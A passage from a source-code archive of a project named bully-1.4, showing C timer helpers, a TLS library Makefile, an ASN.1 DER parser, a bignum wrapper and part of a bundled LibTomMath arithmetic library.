implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ static inline void set_timer(struct timeval *tv, int ms_from_now) { gettimeofday(tv, 0); tv->tv_sec += ms_from_now/1000; ms_from_now -= (ms_from_now/1000)*1000; tv->tv_usec += ms_from_now*1000; }; static inline int check_timer(struct timeval *tv) { struct timeval now; gettimeofday(&now, 0); if (tv->tv_sec < now.tv_sec) return TRUE; if (tv->tv_sec == now.tv_sec && tv->tv_usec < now.tv_usec) return TRUE; return FALSE; }; static inline int elapsed(struct timeval *then) { struct timeval now; gettimeofday(&now, 0); if (now.tv_usec < then->tv_usec) return ((now.tv_sec - 1) - then->tv_sec)*1000 + (now.tv_usec+1000000 - then->tv_usec)/1000; else return (now.tv_sec - then->tv_sec)*1000 + (now.tv_usec - then->tv_usec)/1000; }; bully-1.4-00/src/tls/000077500000000000000000000000001361530463600143225ustar00rootroot00000000000000bully-1.4-00/src/tls/.gitignore000066400000000000000000000000111361530463600163020ustar00rootroot00000000000000libtls.a bully-1.4-00/src/tls/Makefile000077500000000000000000000010101361530463600157550ustar00rootroot00000000000000all: libtls.a clean: rm -f *~ *.o *.d libtls.a install: @echo Nothing to be made. include ../lib.rules CFLAGS += -DCONFIG_INTERNAL_LIBTOMMATH CFLAGS += -DCONFIG_CRYPTO_INTERNAL LIB_OBJS= \ asn1.o \ bignum.o \ pkcs1.o \ pkcs5.o \ pkcs8.o \ rsa.o \ tlsv1_client.o \ tlsv1_client_read.o \ tlsv1_client_write.o \ tlsv1_common.o \ tlsv1_cred.o \ tlsv1_record.o \ tlsv1_server.o \ tlsv1_server_read.o \ tlsv1_server_write.o \ x509v3.o libtls.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) bully-1.4-00/src/tls/asn1.c000077500000000000000000000103141361530463600153320ustar00rootroot00000000000000/* * ASN.1 DER parsing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "asn1.h" int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr) { const u8 *pos, *end; u8 tmp; os_memset(hdr, 0, sizeof(*hdr)); pos = buf; end = buf + len; hdr->identifier = *pos++; hdr->class = hdr->identifier >> 6; hdr->constructed = !!(hdr->identifier & (1 << 5)); if ((hdr->identifier & 0x1f) == 0x1f) { hdr->tag = 0; do { if (pos >= end) { wpa_printf(MSG_DEBUG, "ASN.1: Identifier " "underflow"); return -1; } tmp = *pos++; wpa_printf(MSG_MSGDUMP, "ASN.1: Extended tag data: " "0x%02x", tmp); hdr->tag = (hdr->tag << 7) | (tmp & 0x7f); } while (tmp & 0x80); } else hdr->tag = hdr->identifier & 0x1f; tmp = *pos++; if (tmp & 0x80) { if (tmp == 0xff) { wpa_printf(MSG_DEBUG, "ASN.1: Reserved length " "value 0xff used"); return -1; } tmp &= 0x7f; /* number of subsequent octets */ hdr->length = 0; if (tmp > 4) { wpa_printf(MSG_DEBUG, "ASN.1: Too long length field"); return -1; } while (tmp--) { if (pos >= end) { wpa_printf(MSG_DEBUG, "ASN.1: Length " "underflow"); return -1; } hdr->length = (hdr->length << 8) | *pos++; } } else { /* Short form - length 0..127 in one octet */ hdr->length = tmp; } if (end < pos || hdr->length > (unsigned int) (end - pos)) { wpa_printf(MSG_DEBUG, "ASN.1: Contents underflow"); return -1; } hdr->payload = pos; return 0; } int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid) { const u8 *pos, *end; unsigned long val; u8 tmp; os_memset(oid, 0, sizeof(*oid)); pos = buf; end = buf + len; while (pos < end) { val = 0; do { if (pos >= end) return -1; tmp = *pos++; val = (val << 7) | (tmp & 0x7f); } while (tmp & 0x80); if (oid->len >= ASN1_MAX_OID_LEN) { wpa_printf(MSG_DEBUG, "ASN.1: Too long OID value"); return -1; } if (oid->len == 0) { /* * The first octet encodes the first two object * identifier components in (X*40) + Y formula. * X = 0..2. */ oid->oid[0] = val / 40; if (oid->oid[0] > 2) oid->oid[0] = 2; oid->oid[1] = val - oid->oid[0] * 40; oid->len = 2; } else oid->oid[oid->len++] = val; } return 0; } int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid, const u8 **next) { struct asn1_hdr hdr; if (asn1_get_next(buf, len, &hdr) < 0 || hdr.length == 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OID) { wpa_printf(MSG_DEBUG, "ASN.1: Expected OID - found class %d " "tag 0x%x", hdr.class, hdr.tag); return -1; } *next = hdr.payload + hdr.length; return asn1_parse_oid(hdr.payload, hdr.length, oid); } void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len) { char *pos = buf; size_t i; int ret; if (len == 0) return; buf[0] = '\0'; for (i = 0; i < oid->len; i++) { ret = os_snprintf(pos, buf + len - pos, "%s%lu", i == 0 ? "" : ".", oid->oid[i]); if (ret < 0 || ret >= buf + len - pos) break; pos += ret; } buf[len - 1] = '\0'; } static u8 rotate_bits(u8 octet) { int i; u8 res; res = 0; for (i = 0; i < 8; i++) { res <<= 1; if (octet & 1) res |= 1; octet >>= 1; } return res; } unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len) { unsigned long val = 0; const u8 *pos = buf; /* BER requires that unused bits are zero, so we can ignore the number * of unused bits */ pos++; if (len >= 2) val |= rotate_bits(*pos++); if (len >= 3) val |= ((unsigned long) rotate_bits(*pos++)) << 8; if (len >= 4) val |= ((unsigned long) rotate_bits(*pos++)) << 16; if (len >= 5) val |= ((unsigned long) rotate_bits(*pos++)) << 24; if (len >= 6) wpa_printf(MSG_DEBUG, "X509: %s - some bits ignored " "(BIT STRING length %lu)", __func__, (unsigned long) len); return val; } bully-1.4-00/src/tls/asn1.h000077500000000000000000000044761361530463600153530ustar00rootroot00000000000000/* * ASN.1 DER parsing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef ASN1_H #define ASN1_H #define ASN1_TAG_EOC 0x00 /* not used with DER */ #define ASN1_TAG_BOOLEAN 0x01 #define ASN1_TAG_INTEGER 0x02 #define ASN1_TAG_BITSTRING 0x03 #define ASN1_TAG_OCTETSTRING 0x04 #define ASN1_TAG_NULL 0x05 #define ASN1_TAG_OID 0x06 #define ASN1_TAG_OBJECT_DESCRIPTOR 0x07 /* not yet parsed */ #define ASN1_TAG_EXTERNAL 0x08 /* not yet parsed */ #define ASN1_TAG_REAL 0x09 /* not yet parsed */ #define ASN1_TAG_ENUMERATED 0x0A /* not yet parsed */ #define ASN1_TAG_UTF8STRING 0x0C /* not yet parsed */ #define ANS1_TAG_RELATIVE_OID 0x0D #define ASN1_TAG_SEQUENCE 0x10 /* shall be constructed */ #define ASN1_TAG_SET 0x11 #define ASN1_TAG_NUMERICSTRING 0x12 /* not yet parsed */ #define ASN1_TAG_PRINTABLESTRING 0x13 #define ASN1_TAG_TG1STRING 0x14 /* not yet parsed */ #define ASN1_TAG_VIDEOTEXSTRING 0x15 /* not yet parsed */ #define ASN1_TAG_IA5STRING 0x16 #define ASN1_TAG_UTCTIME 0x17 #define ASN1_TAG_GENERALIZEDTIME 0x18 /* not yet parsed */ #define ASN1_TAG_GRAPHICSTRING 0x19 /* not yet parsed */ #define ASN1_TAG_VISIBLESTRING 0x1A #define ASN1_TAG_GENERALSTRING 0x1B /* not yet parsed */ #define ASN1_TAG_UNIVERSALSTRING 0x1C /* not yet parsed */ #define ASN1_TAG_BMPSTRING 0x1D /* not yet parsed */ #define ASN1_CLASS_UNIVERSAL 0 #define ASN1_CLASS_APPLICATION 1 #define ASN1_CLASS_CONTEXT_SPECIFIC 2 #define ASN1_CLASS_PRIVATE 3 struct asn1_hdr { const u8 *payload; u8 identifier, class, constructed; unsigned int tag, length; }; #define ASN1_MAX_OID_LEN 20 struct asn1_oid { unsigned long oid[ASN1_MAX_OID_LEN]; size_t len; }; int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr); int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid); int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid, const u8 **next); void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len); unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len); #endif /* ASN1_H */ bully-1.4-00/src/tls/bignum.c000077500000000000000000000131071361530463600157540ustar00rootroot00000000000000/* * Big number math * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "bignum.h" #ifdef CONFIG_INTERNAL_LIBTOMMATH #include "libtommath.c" #else /* CONFIG_INTERNAL_LIBTOMMATH */ #include #endif /* CONFIG_INTERNAL_LIBTOMMATH */ /* * The current version is just a wrapper for LibTomMath library, so * struct bignum is just typecast to mp_int. */ /** * bignum_init - Allocate memory for bignum * Returns: Pointer to allocated bignum or %NULL on failure */ struct bignum * bignum_init(void) { struct bignum *n = os_zalloc(sizeof(mp_int)); if (n == NULL) return NULL; if (mp_init((mp_int *) n) != MP_OKAY) { os_free(n); n = NULL; } return n; } /** * bignum_deinit - Free bignum * @n: Bignum from bignum_init() */ void bignum_deinit(struct bignum *n) { if (n) { mp_clear((mp_int *) n); os_free(n); } } /** * bignum_get_unsigned_bin - Get length of bignum as an unsigned binary buffer * @n: Bignum from bignum_init() * Returns: Length of n if written to a binary buffer */ size_t bignum_get_unsigned_bin_len(struct bignum *n) { return mp_unsigned_bin_size((mp_int *) n); } /** * bignum_get_unsigned_bin - Set binary buffer to unsigned bignum * @n: Bignum from bignum_init() * @buf: Buffer for the binary number * @len: Length of the buffer, can be %NULL if buffer is known to be long * enough. Set to used buffer length on success if not %NULL. * Returns: 0 on success, -1 on failure */ int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len) { size_t need = mp_unsigned_bin_size((mp_int *) n); if (len && need > *len) { *len = need; return -1; } if (mp_to_unsigned_bin((mp_int *) n, buf) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } if (len) *len = need; return 0; } /** * bignum_set_unsigned_bin - Set bignum based on unsigned binary buffer * @n: Bignum from bignum_init(); to be set to the given value * @buf: Buffer with unsigned binary value * @len: Length of buf in octets * Returns: 0 on success, -1 on failure */ int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len) { if (mp_read_unsigned_bin((mp_int *) n, (u8 *) buf, len) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_cmp - Signed comparison * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * Returns: 0 on success, -1 on failure */ int bignum_cmp(const struct bignum *a, const struct bignum *b) { return mp_cmp((mp_int *) a, (mp_int *) b); } /** * bignum_cmd_d - Compare bignum to standard integer * @a: Bignum from bignum_init() * @b: Small integer * Returns: 0 on success, -1 on failure */ int bignum_cmp_d(const struct bignum *a, unsigned long b) { return mp_cmp_d((mp_int *) a, b); } /** * bignum_add - c = a + b * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); used to store the result of a + b * Returns: 0 on success, -1 on failure */ int bignum_add(const struct bignum *a, const struct bignum *b, struct bignum *c) { if (mp_add((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_sub - c = a - b * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); used to store the result of a - b * Returns: 0 on success, -1 on failure */ int bignum_sub(const struct bignum *a, const struct bignum *b, struct bignum *c) { if (mp_sub((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_mul - c = a * b * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); used to store the result of a * b * Returns: 0 on success, -1 on failure */ int bignum_mul(const struct bignum *a, const struct bignum *b, struct bignum *c) { if (mp_mul((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_mulmod - d = a * b (mod c) * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); modulus * @d: Bignum from bignum_init(); used to store the result of a * b (mod c) * Returns: 0 on success, -1 on failure */ int bignum_mulmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d) { if (mp_mulmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_exptmod - Modular exponentiation: d = a^b (mod c) * @a: Bignum from bignum_init(); base * @b: Bignum from bignum_init(); exponent * @c: Bignum from bignum_init(); modulus * @d: Bignum from bignum_init(); used to store the result of a^b (mod c) * Returns: 0 on success, -1 on failure */ int bignum_exptmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d) { if (mp_exptmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } bully-1.4-00/src/tls/bignum.h000077500000000000000000000025331361530463600157620ustar00rootroot00000000000000/* * Big number math * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef BIGNUM_H #define BIGNUM_H struct bignum; struct bignum * bignum_init(void); void bignum_deinit(struct bignum *n); size_t bignum_get_unsigned_bin_len(struct bignum *n); int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len); int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len); int bignum_cmp(const struct bignum *a, const struct bignum *b); int bignum_cmp_d(const struct bignum *a, unsigned long b); int bignum_add(const struct bignum *a, const struct bignum *b, struct bignum *c); int bignum_sub(const struct bignum *a, const struct bignum *b, struct bignum *c); int bignum_mul(const struct bignum *a, const struct bignum *b, struct bignum *c); int bignum_mulmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d); int bignum_exptmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d); #endif /* BIGNUM_H */ bully-1.4-00/src/tls/libtommath.c000077500000000000000000002277101361530463600166420ustar00rootroot00000000000000/* * Minimal code for RSA support from LibTomMath 0.41 * http://libtom.org/ * http://libtom.org/files/ltm-0.41.tar.bz2 * This library was released in public domain by Tom St Denis. * * The combination in this file may not use all of the optimized algorithms * from LibTomMath and may be considerable slower than the LibTomMath with its * default settings. The main purpose of having this version here is to make it * easier to build bignum.c wrapper without having to install and build an * external library. * * If CONFIG_INTERNAL_LIBTOMMATH is defined, bignum.c includes this * libtommath.c file instead of using the external LibTomMath library. */ #ifndef CHAR_BIT #define CHAR_BIT 8 #endif #define BN_MP_INVMOD_C #define BN_S_MP_EXPTMOD_C /* Note: #undef in tommath_superclass.h; this would * require BN_MP_EXPTMOD_FAST_C instead */ #define BN_S_MP_MUL_DIGS_C #define BN_MP_INVMOD_SLOW_C #define BN_S_MP_SQR_C #define BN_S_MP_MUL_HIGH_DIGS_C /* Note: #undef in tommath_superclass.h; this * would require other than mp_reduce */ #ifdef LTM_FAST /* Use faster div at the cost of about 1 kB */ #define BN_MP_MUL_D_C /* Include faster exptmod (Montgomery) at the cost of about 2.5 kB in code */ #define BN_MP_EXPTMOD_FAST_C #define BN_MP_MONTGOMERY_SETUP_C #define BN_FAST_MP_MONTGOMERY_REDUCE_C #define BN_MP_MONTGOMERY_CALC_NORMALIZATION_C #define BN_MP_MUL_2_C /* Include faster sqr at the cost of about 0.5 kB in code */ #define BN_FAST_S_MP_SQR_C #else /* LTM_FAST */ #define BN_MP_DIV_SMALL #define BN_MP_INIT_MULTI_C #define BN_MP_CLEAR_MULTI_C #define BN_MP_ABS_C #endif /* LTM_FAST */ /* Current uses do not require support for negative exponent in exptmod, so we * can save about 1.5 kB in leaving out invmod. */ #define LTM_NO_NEG_EXP /* from tommath.h */ #ifndef MIN #define MIN(x,y) ((x)<(y)?(x):(y)) #endif #ifndef MAX #define MAX(x,y) ((x)>(y)?(x):(y)) #endif #define OPT_CAST(x) typedef unsigned long mp_digit; typedef u64 mp_word; #define DIGIT_BIT 28 #define MP_28BIT #define XMALLOC os_malloc #define XFREE os_free #define XREALLOC os_realloc #define MP_MASK ((((mp_digit)1)<<((mp_digit)DIGIT_BIT))-((mp_digit)1)) #define MP_LT -1 /* less than */ #define MP_EQ 0 /* equal to */ #define MP_GT 1 /* greater than */ #define MP_ZPOS 0 /* positive integer */ #define MP_NEG 1 /* negative */ #define MP_OKAY 0 /* ok result */ #define MP_MEM -2 /* out of mem */ #define MP_VAL -3 /* invalid input */ #define MP_YES 1 /* yes response */ #define MP_NO 0 /* no response */ typedef int mp_err; /* define this to use lower memory usage routines (exptmods mostly) */ #define MP_LOW_MEM /* default precision */ #ifndef MP_PREC #ifndef MP_LOW_MEM #define MP_PREC 32 /* default digits of precision */ #else #define MP_PREC 8 /* default digits of precision */ #endif #endif /* size of comba arrays, should be at least 2 * 2**(BITS_PER_WORD - BITS_PER_DIGIT*2) */ #define MP_WARRAY (1 << (sizeof(mp_word) * CHAR_BIT - 2 * DIGIT_BIT + 1)) /* the infamous mp_int structure */ typedef struct { int used, alloc, sign; mp_digit *dp; } mp_int; /* ---> Basic Manipulations <--- */ #define mp_iszero(a) (((a)->used == 0) ? MP_YES : MP_NO) #define mp_iseven(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 0)) ? MP_YES : MP_NO) #define mp_isodd(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 1)) ? MP_YES : MP_NO) /* prototypes for copied functions */ #define s_mp_mul(a, b, c) s_mp_mul_digs(a, b, c, (a)->used + (b)->used + 1) static int s_mp_exptmod(mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode); static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs); static int s_mp_sqr(mp_int * a, mp_int * b); static int s_mp_mul_high_digs(mp_int * a, mp_int * b, mp_int * c, int digs); static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs); #ifdef BN_MP_INIT_MULTI_C static int mp_init_multi(mp_int *mp, ...); #endif #ifdef BN_MP_CLEAR_MULTI_C static void mp_clear_multi(mp_int *mp, ...); #endif static int mp_lshd(mp_int * a, int b); static void mp_set(mp_int * a, mp_digit b); static void mp_clamp(mp_int * a); static void mp_exch(mp_int * a, mp_int * b); static void mp_rshd(mp_int * a, int b); static void mp_zero(mp_int * a); static int mp_mod_2d(mp_int * a, int b, mp_int * c); static int mp_div_2d(mp_int * a, int b, mp_int * c, mp_int * d); static int mp_init_copy(mp_int * a, mp_int * b); static int mp_mul_2d(mp_int * a, int b, mp_int * c); #ifndef LTM_NO_NEG_EXP static int mp_div_2(mp_int * a, mp_int * b); static int mp_invmod(mp_int * a, mp_int * b, mp_int * c); static int mp_invmod_slow(mp_int * a, mp_int * b, mp_int * c); #endif /* LTM_NO_NEG_EXP */ static int mp_copy(mp_int * a, mp_int * b); static int mp_count_bits(mp_int * a); static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d); static int mp_mod(mp_int * a, mp_int * b, mp_int * c); static int mp_grow(mp_int * a, int size); static int mp_cmp_mag(mp_int * a, mp_int * b); #ifdef BN_MP_ABS_C static int mp_abs(mp_int * a, mp_int * b); #endif static int mp_sqr(mp_int * a, mp_int * b); static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d); static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d); static int mp_2expt(mp_int * a, int b); static int mp_reduce_setup(mp_int * a, mp_int * b); static int mp_reduce(mp_int * x, mp_int * m, mp_int * mu); static int mp_init_size(mp_int * a, int size); #ifdef BN_MP_EXPTMOD_FAST_C static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode); #endif /* BN_MP_EXPTMOD_FAST_C */ #ifdef BN_FAST_S_MP_SQR_C static int fast_s_mp_sqr (mp_int * a, mp_int * b); #endif /* BN_FAST_S_MP_SQR_C */ #ifdef BN_MP_MUL_D_C static int mp_mul_d (mp_int * a, mp_digit b, mp_int * c); #endif /* BN_MP_MUL_D_C */ /* functions from bn_.c */ /* reverse an array, used for radix code */ static void bn_reverse (unsigned char *s, int len) { int ix, iy; unsigned char t; ix = 0; iy = len - 1; while (ix < iy) { t = s[ix]; s[ix] = s[iy]; s[iy] = t; ++ix; --iy; } } /* low level addition, based on HAC pp.594, Algorithm 14.7 */ static int s_mp_add (mp_int * a, mp_int * b, mp_int * c) { mp_int *x; int olduse, res, min, max; /* find sizes, we let |a| <= |b| which means we have to sort * them. "x" will point to the input with the most digits */ if (a->used > b->used) { min = b->used; max = a->used; x = a; } else { min = a->used; max = b->used; x = b; } /* init result */ if (c->alloc < max + 1) { if ((res = mp_grow (c, max + 1)) != MP_OKAY) { return res; } } /* get old used digit count and set new one */ olduse = c->used; c->used = max + 1; { register mp_digit u, *tmpa, *tmpb, *tmpc; register int i; /* alias for digit pointers */ /* first input */ tmpa = a->dp; /* second input */ tmpb = b->dp; /* destination */ tmpc = c->dp; /* zero the carry */ u = 0; for (i = 0; i < min; i++) { /* Compute the sum at one digit, T[i] = A[i] + B[i] + U */ *tmpc = *tmpa++ + *tmpb++ + u; /* U = carry bit of T[i] */ u = *tmpc >> ((mp_digit)DIGIT_BIT); /* take away carry bit from T[i] */ *tmpc++ &= MP_MASK; } /* now copy higher words if any, that is in A+B * if A or B has more digits add those in */ if (min != max) { for (; i < max; i++) { /* T[i] = X[i] + U */ *tmpc = x->dp[i] + u; /* U = carry bit of T[i] */ u = *tmpc >> ((mp_digit)DIGIT_BIT); /* take away carry bit from T[i] */ *tmpc++ &= MP_MASK; } } /* add carry */ *tmpc++ = u; /* clear digits above oldused */ for (i = c->used; i < olduse; i++) { *tmpc++ = 0; } } mp_clamp (c); return MP_OKAY; } /* low level subtraction (assumes |a| > |b|), HAC pp.595 Algorithm 14.9 */ static int s_mp_sub (mp_int * a, mp_int * b, mp_int * c) { int olduse, res, min, max; /* find sizes */ min = b->used; max = a->used; /* init result */ if (c->alloc < max) { if ((res = mp_grow (c, max)) != MP_OKAY) { return res; } } olduse = c->used; c->used = max; { register mp_digit u, *tmpa, *tmpb, *tmpc; register int i; /* alias for digit pointers */ tmpa = a->dp; tmpb = b->dp; tmpc = c->dp; /* set carry to zero */ u = 0; for (i = 0; i < min; i++) { /* T[i] = A[i] - B[i] - U */ *tmpc = *tmpa++ - *tmpb++ - u; /* U = carry bit of T[i] * Note this saves performing an AND operation since * if a carry does occur it will propagate all the way to the * MSB. As a result a single shift is enough to get the carry */ u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1)); /* Clear carry from T[i] */ *tmpc++ &= MP_MASK; } /* now copy higher words if any, e.g. if A has more digits than B */ for (; i < max; i++) { /* T[i] = A[i] - U */ *tmpc = *tmpa++ - u; /* U = carry bit of T[i] */ u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1)); /* Clear carry from T[i] */ *tmpc++ &= MP_MASK; } /* clear digits above used (since we may not have grown result above) */ for (i = c->used; i < olduse; i++) { *tmpc++ = 0; } } mp_clamp (c); return MP_OKAY; } /* init a new mp_int */ static int mp_init (mp_int * a) { int i; /* allocate memory required and clear it */ a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * MP_PREC); if (a->dp == NULL) { return MP_MEM; } /* set the digits to zero */ for (i = 0; i < MP_PREC; i++) { a->dp[i] = 0; } /* set the used to zero, allocated digits to the default precision * and sign to positive */ a->used = 0; a->alloc = MP_PREC; a->sign = MP_ZPOS; return MP_OKAY; } /* clear one (frees) */ static void mp_clear (mp_int * a) { int i; /* only do anything if a hasn't been freed previously */ if (a->dp != NULL) { /* first zero the digits */ for (i = 0; i < a->used; i++) { a->dp[i] = 0; } /* free ram */ XFREE(a->dp); /* reset members to make debugging easier */ a->dp = NULL; a->alloc = a->used = 0; a->sign = MP_ZPOS; } } /* high level addition (handles signs) */ static int mp_add (mp_int * a, mp_int * b, mp_int * c) { int sa, sb, res; /* get sign of both inputs */ sa = a->sign; sb = b->sign; /* handle two cases, not four */ if (sa == sb) { /* both positive or both negative */ /* add their magnitudes, copy the sign */ c->sign = sa; res = s_mp_add (a, b, c); } else { /* one positive, the other negative */ /* subtract the one with the greater magnitude from */ /* the one of the lesser magnitude. The result gets */ /* the sign of the one with the greater magnitude. */ if (mp_cmp_mag (a, b) == MP_LT) { c->sign = sb; res = s_mp_sub (b, a, c); } else { c->sign = sa; res = s_mp_sub (a, b, c); } } return res; } /* high level subtraction (handles signs) */ static int mp_sub (mp_int * a, mp_int * b, mp_int * c) { int sa, sb, res; sa = a->sign; sb = b->sign; if (sa != sb) { /* subtract a negative from a positive, OR */ /* subtract a positive from a negative. */ /* In either case, ADD their magnitudes, */ /* and use the sign of the first number. */ c->sign = sa; res = s_mp_add (a, b, c); } else { /* subtract a positive from a positive, OR */ /* subtract a negative from a negative. */ /* First, take the difference between their */ /* magnitudes, then... */ if (mp_cmp_mag (a, b) != MP_LT) { /* Copy the sign from the first */ c->sign = sa; /* The first has a larger or equal magnitude */ res = s_mp_sub (a, b, c); } else { /* The result has the *opposite* sign from */ /* the first number. */ c->sign = (sa == MP_ZPOS) ? MP_NEG : MP_ZPOS; /* The second has a larger magnitude */ res = s_mp_sub (b, a, c); } } return res; } /* high level multiplication (handles sign) */ static int mp_mul (mp_int * a, mp_int * b, mp_int * c) { int res, neg; neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG; /* use Toom-Cook? */ #ifdef BN_MP_TOOM_MUL_C if (MIN (a->used, b->used) >= TOOM_MUL_CUTOFF) { res = mp_toom_mul(a, b, c); } else #endif #ifdef BN_MP_KARATSUBA_MUL_C /* use Karatsuba? */ if (MIN (a->used, b->used) >= KARATSUBA_MUL_CUTOFF) { res = mp_karatsuba_mul (a, b, c); } else #endif { /* can we use the fast multiplier? * * The fast multiplier can be used if the output will * have less than MP_WARRAY digits and the number of * digits won't affect carry propagation */ #ifdef BN_FAST_S_MP_MUL_DIGS_C int digs = a->used + b->used + 1; if ((digs < MP_WARRAY) && MIN(a->used, b->used) <= (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { res = fast_s_mp_mul_digs (a, b, c, digs); } else #endif #ifdef BN_S_MP_MUL_DIGS_C res = s_mp_mul (a, b, c); /* uses s_mp_mul_digs */ #else #error mp_mul could fail res = MP_VAL; #endif } c->sign = (c->used > 0) ? neg : MP_ZPOS; return res; } /* d = a * b (mod c) */ static int mp_mulmod (mp_int * a, mp_int * b, mp_int * c, mp_int * d) { int res; mp_int t; if ((res = mp_init (&t)) != MP_OKAY) { return res; } if ((res = mp_mul (a, b, &t)) != MP_OKAY) { mp_clear (&t); return res; } res = mp_mod (&t, c, d); mp_clear (&t); return res; } /* c = a mod b, 0 <= c < b */ static int mp_mod (mp_int * a, mp_int * b, mp_int * c) { mp_int t; int res; if ((res = mp_init (&t)) != MP_OKAY) { return res; } if ((res = mp_div (a, b, NULL, &t)) != MP_OKAY) { mp_clear (&t); return res; } if (t.sign != b->sign) { res = mp_add (b, &t, c); } else { res = MP_OKAY; mp_exch (&t, c); } mp_clear (&t); return res; } /* this is a shell function that calls either the normal or Montgomery * exptmod functions. Originally the call to the montgomery code was * embedded in the normal function but that wasted alot of stack space * for nothing (since 99% of the time the Montgomery code would be called) */ static int mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y) { int dr; /* modulus P must be positive */ if (P->sign == MP_NEG) { return MP_VAL; } /* if exponent X is negative we have to recurse */ if (X->sign == MP_NEG) { #ifdef LTM_NO_NEG_EXP return MP_VAL; #else /* LTM_NO_NEG_EXP */ #ifdef BN_MP_INVMOD_C mp_int tmpG, tmpX; int err; /* first compute 1/G mod P */ if ((err = mp_init(&tmpG)) != MP_OKAY) { return err; } if ((err = mp_invmod(G, P, &tmpG)) != MP_OKAY) { mp_clear(&tmpG); return err; } /* now get |X| */ if ((err = mp_init(&tmpX)) != MP_OKAY) { mp_clear(&tmpG); return err; } if ((err = mp_abs(X, &tmpX)) != MP_OKAY) { mp_clear_multi(&tmpG, &tmpX, NULL); return err; } /* and now compute (1/G)**|X| instead of G**X [X < 0] */ err = mp_exptmod(&tmpG, &tmpX, P, Y); mp_clear_multi(&tmpG, &tmpX, NULL); return err; #else #error mp_exptmod would always fail /* no invmod */ return MP_VAL; #endif #endif /* LTM_NO_NEG_EXP */ } /* modified diminished radix reduction */ #if defined(BN_MP_REDUCE_IS_2K_L_C) && defined(BN_MP_REDUCE_2K_L_C) && defined(BN_S_MP_EXPTMOD_C) if (mp_reduce_is_2k_l(P) == MP_YES) { return s_mp_exptmod(G, X, P, Y, 1); } #endif #ifdef 